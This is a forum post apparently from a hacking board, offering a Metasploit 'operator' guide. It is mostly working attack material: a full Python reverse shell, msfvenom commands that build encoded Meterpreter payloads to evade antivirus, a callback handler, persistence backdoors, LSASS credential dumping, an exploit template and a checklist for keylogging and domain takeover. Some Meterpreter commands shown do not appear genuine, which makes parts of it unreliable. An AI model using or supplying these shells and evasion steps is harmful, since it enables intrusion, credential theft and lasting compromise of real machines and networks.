Metasploit Mastery: From Script Kiddie to APT-Level Operator

[Blacksec]

Metasploit Mastery: From Script Kiddie to APT-Level Operator ​

---

> Posted by: VoidRunner | Rank: Senior Member | Joined: 2022 [/I]

---

Spoiler: Prerequisites

• Basic Linux knowledge
• Understanding of TCP/IP networking
• Metasploit Framework installed
• A target to practice on (labs only, don't be dumb)

Listen up. This isn't your grandma's Metasploit tutorial.[/B]

Most guys out there think Metasploit is just

msfconsole > search > use > exploit

. Wrong. That's script kiddie stuff. Today I'm showing you how real operators use Metasploit for advanced penetration testing and red team operations.

---

━━━ PART 1: Setup & Configuration ━━━

Before you fire up msfconsole, configure these settings or you're gonna have a bad time:

$ msfconsole
msf6 > db_nmap -sS -sV -O 10.10.10.0/24
# This scans and saves results directly to the Metasploit database

msf6 > workspace -a "Target_Op"
# Create a workspace for organized results

msf6 > hosts
# List all discovered hosts

msf6 > services
# List all discovered services

msf6 > notes -s vulnerability
# Show vulnerability notes from nmap

msf6 > vulns
# Quick vulnerability summary

Pro Tip: Always use

db_nmap

instead of plain

nmap

. It integrates with the database and gives you proper attribution.

---

━━━ PART 2: Manual Payload Development ━━━

Built-in payloads are fine for beginners, but every AV catches them. Here's how I write custom shells:

#!/usr/bin/env python3
"""
Custom Reverse Shell with Basic Evasion
Target: Python 3 on victim machine
"""
import socket
import subprocess
import os
import sys
import threading
import time

class StealthShell:
    def __init__(self, lhost, lport):
        self.lhost = lhost
        self.lport = lport
        self.buffer_size = 4096
        self.encrypted = False  # Enable if you have crypto
        
    def connect(self):
        while True:
            try:
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.connect((self.lhost, self.lport))
                self.loop(s)
            except:
                time.sleep(5)  # Backoff on failure
                
    def loop(self, sock):
        while True:
            cmd = sock.recv(self.buffer_size).decode().strip()
            if cmd.lower() == 'exit':
                sock.close()
                sys.exit()
            elif cmd.startswith('upload '):
                self.handle_upload(sock, cmd[7:])
            else:
                try:
                    result = subprocess.run(cmd, shell=True, 
                                          capture_output=True, text=True,
                                          timeout=30)
                    sock.send(result.stdout.encode())
                except Exception as e:
                    sock.send(f"Error: {str(e)}".encode())
                    
    def handle_upload(self, sock, filepath):
        with open(filepath, 'wb') as f:
            while True:
                data = sock.recv(self.buffer_size)
                if not data:
                    break
                f.write(data)
        sock.send(b"Upload complete\n")

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("Usage: ./stealth_shell.py <lhost> <lport>")
        sys.exit(1)
    shell = StealthShell(sys.argv[1], int(sys.argv[2]))
    print(f"[*] Connecting to {sys.argv[1]}:{sys.argv[2]}")
    shell.connect()

---

━━━ PART 3: Meterpreter Advanced Techniques ━━━

Meterpreter is the go-to payload, but most guys use it wrong. Here's the advanced stuff:

msf6 > use exploit/multi/handler
msf6 exploit(handler) > set PAYLOAD windows/x64/meterpreter/reverse_https
msf6 exploit(handler) > set LHOST 10.10.14.5
msf6 exploit(handler) > set LPORT 443
msf6 exploit(handler) > set ExitOnSession false
msf6 exploit(handler) > exploit -j
# -j runs in background, keeps listening for more shells

# === POST-EXPLOITATION MODULES ===
meterpreter > sysinfo
meterpreter > getsystem
meterpreter > gethashes
# Dump LSASS memory for credential harvesting
meterpreter > dump -h -t lsass
meterpreter > run post/windows/gather/checkvm
meterpreter > run post/multi/recon/local_exploit_suggester
meterpreter > run post/windows/manage/privilege_pivot
meterpreter > run persistence -U -S -i 30 -p 443 -r 10.10.14.5
# Persistent backdoor that runs on user logon, installs as service

Persistence Methods:

• Registry Run Keys: HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run
• Scheduled Tasks: schtasks /create with system privileges
• WMI Event Subscription: Creates event-based persistence (hard to detect)
• Service Creation: Installs as a Windows service
• Startup Folder: User-level persistence

---

━━━ PART 4: Bypassing EDR Solutions ━━━

This is where it gets interesting. Modern EDRs like CrowdStrike, SentinelOne, and Defender detect standard Meterpreter payloads instantly. Here's my approach:

# Method 1: Encrypted Payloads
msfvenom -p windows/x64/meterpreter/reverse_https \
  LHOST=10.10.14.5 LPORT=443 \
  -e xor --block-size=65 \
  -i 10 \
  -f exe > encoded_shell.exe

# Method 2: Custom Shellcode via Python
# Generate shellcode first
msfvenom -p windows/x64/meterpreter/reverse_https \
  LHOST=10.10.14.5 LPORT=443 \
  -b '\x00\x0a\x0d' \
  -f python

# Then embed in a custom loader:
# (See the loader script in the attachments)

# Method 3: Living Off the Land
# Use existing tools to execute payloads
msf > use exploit/windows/local/bypass_uac
msf > use exploit/windows/local/ms10_092_schelevator
msf > use exploit/windows/local/cve_2021_1732
# Kernel exploits for privilege escalation

IMPORTANT:

The best evasion technique? Don't use Metasploit payloads at all. Write your own C/C++ implants with custom encryption and obfuscation. Metasploit shells are signatured within minutes of release.

---

━━━ PART 5: Advanced Exploit Development ━━━

Found a vulnerability but no public exploit? Here's how to build one:

#!/usr/bin/env python3
"""
Custom Exploit Framework Template
Adapt this for your specific target
"""
import socket
import struct
import sys
import time

class ExploitBase:
    def __init__(self, target, port=80):
        self.target = target
        self.port = port
        self.buffer_size = 4096
        self.timeout = 30
        
    def connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.connect((self.target, self.port))
        return self.sock
        
    def receive(self, size=4096):
        data = b''
        while True:
            chunk = self.sock.recv(size)
            if not chunk:
                break
            data += chunk
            if len(data) >= size:
                break
        return data
        
    def send(self, data):
        self.sock.sendall(data)
        
    def generate_shellcode(self):
        # Replace with your actual shellcode
        return b'\\x90' * 100  # NOP sled placeholder
        
    def exploit(self):
        try:
            self.connect()
            print(f"[*] Connected to {self.target}:{self.port}")
            
            # Receive banner
            banner = self.receive()
            print(f"[*] Banner: {banner.decode()}")
            
            # Build exploit payload
            payload = self.build_payload()
            self.send(payload)
            print("[*] Payload sent!")
            
            # Handle response
            response = self.receive()
            print(f"[*] Response: {response.decode()}")
            
        except Exception as e:
            print(f"[!] Error: {e}")
        finally:
            if hasattr(self, 'sock'):
                self.sock.close()
                
    def build_payload(self):
        # Custom payload construction
        shellcode = self.generate_shellcode()
        # Add return addresses,nop sleds, etc
        return shellcode

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print(f"Usage: {sys.argv[0]} <target> <port>")
        sys.exit(1)
    exploit = ExploitBase(sys.argv[1], int(sys.argv[2]))
    exploit.exploit()

---

━━━ PART 6: Post-Exploitation Checklist ━━━

After getting initial access, here's my systematic approach:

1. INITIAL RECON
   - sysinfo (OS, architecture, patches)
   - getuid (current user privileges)
   - getprivs (enabled privileges)
   - getsid (domain info)
   
2. PERSISTENCE
   - run persistence -U -S (install as service)
   - migrate to stable process
   - setup keylogger
   - establish second channel
   
3. CREDENTIAL HARVESTING
   - harvest credentials from browsers
   - dump LSASS for NTLM hashes
   - extract saved WiFi passwords
   - check for RDP sessions
   - use mimikatz for DPAPI keys
   
4. LATERAL MOVEMENT
   - use psexec for remote execution
   - use wmi for Windows management
   - use atexec for scheduled tasks
   - enumerate shared resources
   
5. DOMINATION
   - domain_admin via kerberoasting
   - Golden Ticket attack
   - DCSync for full domain compromise
   - establish C2 infrastructure

---

━━━ Quick Reference Commands ━━━

# Quick exploit with auto-handler
msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_https; set LHOST 10.10.14.5; set LPORT 443; exploit"

# Search for exploits
search type:exploit platform:windows cve:2021

# Check exploit compatibility
info exploit/windows/smb/ms17_010_eternalblue

# Generate reverse shell
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f exe > shell.exe

# Run all post modules
run post/multi/recon/exploit_recon

# Upload files
upload /local/file.exe C:\\windows\\temp\\

---

━━━ TL;DR ━━━

✅ Use db_nmap for database-integrated scanning
✅ Write custom payloads, don't rely on defaults
✅ Meterpreter is powerful but easily detected
✅ EDR evasion requires custom development
✅ Post-exploitation is where the real work happens
✅ Always have a persistence plan
✅ Document everything for reporting

---

Drop your questions below. I'll respond to the ones that show you actually tried.
Next guide: Advanced SQL Injection beyond sqlmap.

Last edited by VoidRunner; 5 hours ago.

---

[SIG]━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
VoidRunner | Senior Operator | Penetration Tester
"There are only 10 types of people: those who understand binary and those who don't"
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━[/SIG][/b][/b][/b][/b][/b][/b][/b][/b][/b][/b][/b]